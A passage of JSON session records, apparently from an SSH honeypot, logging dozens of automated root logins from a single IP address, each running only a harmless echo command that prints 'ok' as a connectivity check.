  "id": "ff8772fe-065a-4ad6-93ee-4edfc227b679",
  "name": "jolly-fringed-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:11.990943+00:00",
  "ended_at": "2026-08-23T08:33:12.998702+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6321023e-f348-457c-a4c0-192f0f1e53b7",
  "name": "candid-flinty-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:09.380755+00:00",
  "ended_at": "2026-08-23T08:33:11.310861+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "78990900-6235-49c5-b34c-9102d66cfacb",
  "name": "forlorn-lunar-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:07.333639+00:00",
  "ended_at": "2026-08-23T08:33:08.640488+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "abd4e16d-02c1-47ec-89ae-9276a05c2822",
  "name": "earnest-twilight-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:05.490444+00:00",
  "ended_at": "2026-08-23T08:33:06.703623+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d7d4ff6-9c98-403f-909c-94a0ff553341",
  "name": "flinty-frugal-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:03.164701+00:00",
  "ended_at": "2026-08-23T08:33:04.856879+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9f50ea28-bf43-463a-bc4e-c7341b18b2d8",
  "name": "fickle-tidal-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:33:00.818951+00:00",
  "ended_at": "2026-08-23T08:33:02.398060+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f768eed-6593-49a6-adbe-97cc3bf48cd7",
  "name": "dutiful-stoic-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60164,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:57.873793+00:00",
  "ended_at": "2026-08-23T08:33:00.148592+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52187e7e-e16e-49c8-a85e-c7821e3cdc2d",
  "name": "sincere-subtle-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60158,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:54.971352+00:00",
  "ended_at": "2026-08-23T08:32:57.049872+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3a5a53cf-6759-456d-ba15-6fda5810b255",
  "name": "keen-ashen-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:52.921214+00:00",
  "ended_at": "2026-08-23T08:32:54.336432+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a690924a-418d-4995-a19f-d673486613fd",
  "name": "upland-gallant-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:50.818056+00:00",
  "ended_at": "2026-08-23T08:32:52.097832+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64eb6288-d610-4f92-8edc-99a4c8128a0e",
  "name": "kindly-wiry-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:48.405200+00:00",
  "ended_at": "2026-08-23T08:32:50.073692+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ee2d53dc-5daa-491c-b55c-1d1e8b43388b",
  "name": "cunning-inland-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:42.047151+00:00",
  "ended_at": "2026-08-23T08:32:47.670054+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0fa50d0c-ff03-4ca4-8aeb-be57e2f919c7",
  "name": "graceful-scarlet-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45302,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:37.236635+00:00",
  "ended_at": "2026-08-23T08:32:41.217284+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48dc86d7-d8a0-4ed0-b068-ef7942a949dc",
  "name": "gleaming-bronzed-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:35.499812+00:00",
  "ended_at": "2026-08-23T08:32:36.497837+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2df750a-e9f0-4cc5-b626-e9d51f123808",
  "name": "seaward-icy-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:32.798799+00:00",
  "ended_at": "2026-08-23T08:32:34.836962+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "066ab9e0-7ec7-41ac-855e-03caa14b6e05",
  "name": "bold-diligent-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:30.689807+00:00",
  "ended_at": "2026-08-23T08:32:32.124370+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6ec3bdfc-9698-49ae-863b-76f35164bafa",
  "name": "quaint-solemn-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:28.326095+00:00",
  "ended_at": "2026-08-23T08:32:29.871405+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d29780ee-f986-4a62-8e90-e3fe5b53fd4b",
  "name": "crystal-watchful-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:25.457394+00:00",
  "ended_at": "2026-08-23T08:32:27.528427+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a533c2b2-47e7-4f4a-bccc-bf1bba51ebcd",
  "name": "patient-smooth-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:23.634761+00:00",
  "ended_at": "2026-08-23T08:32:24.765600+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c51f053e-6248-4a05-8ae0-2cbde4793191",
  "name": "hollow-windswept-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44470,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:21.309077+00:00",
  "ended_at": "2026-08-23T08:32:23.000437+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66d44dfe-8e81-46c0-8910-01d784f37ad0",
  "name": "early-hazel-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:19.418163+00:00",
  "ended_at": "2026-08-23T08:32:20.572528+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "970c18bf-360d-40ee-bb23-67585cce2dd3",
  "name": "supple-craggy-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:16.657959+00:00",
  "ended_at": "2026-08-23T08:32:18.619151+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0b3d6927-42f6-41f4-883a-a11bf4decbd9",
  "name": "plush-pristine-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:14.734595+00:00",
  "ended_at": "2026-08-23T08:32:15.980283+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "00d60b9f-6671-4f8f-89f7-0646f7dc63c5",
  "name": "quaint-mossy-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:12.692395+00:00",
  "ended_at": "2026-08-23T08:32:13.904477+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "73230675-dcb3-43b4-a3ed-5919061a542f",
  "name": "crimson-lonesome-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:10.361025+00:00",
  "ended_at": "2026-08-23T08:32:11.907762+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a01a204f-ebfe-43a0-a70b-2acb0f67f41b",
  "name": "gallant-earnest-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:07.639616+00:00",
  "ended_at": "2026-08-23T08:32:09.605954+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c721f73c-c53d-4265-8246-fb625359e3d0",
  "name": "merry-mellow-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35276,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:05.347701+00:00",
  "ended_at": "2026-08-23T08:32:06.908922+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dd6af003-a496-462b-8b7d-cfd4c04c5c0e",
  "name": "flinty-mindful-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:03.719229+00:00",
  "ended_at": "2026-08-23T08:32:04.619652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a3496557-3dba-455e-a14e-625030873f10",
  "name": "hushed-weathered-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:32:01.779903+00:00",
  "ended_at": "2026-08-23T08:32:02.919698+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e0501be7-898a-4b06-80b6-903ed363274a",
  "name": "grassy-orderly-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:59.527646+00:00",
  "ended_at": "2026-08-23T08:32:01.122857+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2ecdd5e5-8c27-4015-bdc2-27e11f2958b4",
  "name": "crisp-bold-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:56.648150+00:00",
  "ended_at": "2026-08-23T08:31:58.732555+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a47a86a-1036-4e9d-8711-46ca48c0fdea",
  "name": "plucky-tender-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:54.606187+00:00",
  "ended_at": "2026-08-23T08:31:56.014621+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b84a3e13-49b7-4f12-b21f-511b1b1ceb68",
  "name": "diligent-brazen-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46778,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:52.187147+00:00",
  "ended_at": "2026-08-23T08:31:53.802794+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "16b5c695-e7f9-48d4-85c9-be28307772a1",
  "name": "woven-mossy-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46774,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:50.178944+00:00",
  "ended_at": "2026-08-23T08:31:51.374536+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "80a429da-4f96-4c56-a7fb-4ee0fd1fa74e",
  "name": "cosmic-eager-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:47.875464+00:00",
  "ended_at": "2026-08-23T08:31:49.467728+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b78a16e-583d-495f-ad95-b038b1d29660",
  "name": "emerald-plucky-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:45.434952+00:00",
  "ended_at": "2026-08-23T08:31:47.236054+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "de5cc4f2-c3a6-44bb-a7c9-b9aed46875a3",
  "name": "earnest-mellow-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:43.242046+00:00",
  "ended_at": "2026-08-23T08:31:44.653607+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b2d789ed-f840-4c50-8b94-fab14cfdc767",
  "name": "grassy-western-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48998,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:40.460876+00:00",
  "ended_at": "2026-08-23T08:31:42.498764+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "42571730-2823-4b0d-97d6-9a06b5990e98",
  "name": "fierce-solar-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:37.530549+00:00",
  "ended_at": "2026-08-23T08:31:39.786893+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4f2b2d0-6080-4fa5-923a-7213cf10cd9b",
  "name": "buoyant-gloomy-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59446,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:35.988134+00:00",
  "ended_at": "2026-08-23T08:31:36.884501+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7bdb4720-3698-43c6-9771-c1cbe9d5391e",
  "name": "burly-woven-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:33.776190+00:00",
  "ended_at": "2026-08-23T08:31:35.277722+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03ce73ff-b164-4577-ad8a-cf877d77693e",
  "name": "feathered-ivory-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:31.155768+00:00",
  "ended_at": "2026-08-23T08:31:33.122332+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3ecf5e01-0841-4a21-9f27-a32723b3b745",
  "name": "fabled-lively-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39492,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:28.422937+00:00",
  "ended_at": "2026-08-23T08:31:30.388788+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b9ac0e66-4d2f-4e5e-9b33-0a55835dbc72",
  "name": "barren-hollow-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:26.724064+00:00",
  "ended_at": "2026-08-23T08:31:27.783934+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9c262879-4f4d-41d6-a582-c8a5a22750a9",
  "name": "thrifty-gilded-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:24.692679+00:00",
  "ended_at": "2026-08-23T08:31:26.059894+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "be133c68-ff7f-46dd-840e-fb4b294b5a0f",
  "name": "mellow-foggy-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:21.768845+00:00",
  "ended_at": "2026-08-23T08:31:23.965896+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "47db00d1-ebed-43f5-b291-baef6912431c",
  "name": "ruddy-orderly-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:19.353134+00:00",
  "ended_at": "2026-08-23T08:31:20.923618+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2ef79ca-43a5-4610-a2f7-1a21e375052d",
  "name": "creaky-lanky-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:17.162196+00:00",
  "ended_at": "2026-08-23T08:31:18.574550+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7118146b-fea0-48ea-ada8-87ed19ba145e",
  "name": "scarlet-steady-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56226,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:31:14.183710+00:00",
  "ended_at": "2026-08-23T08:31:16.365101+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a878100e-38ad-4e1f-ae9f-a17cee84fdec",
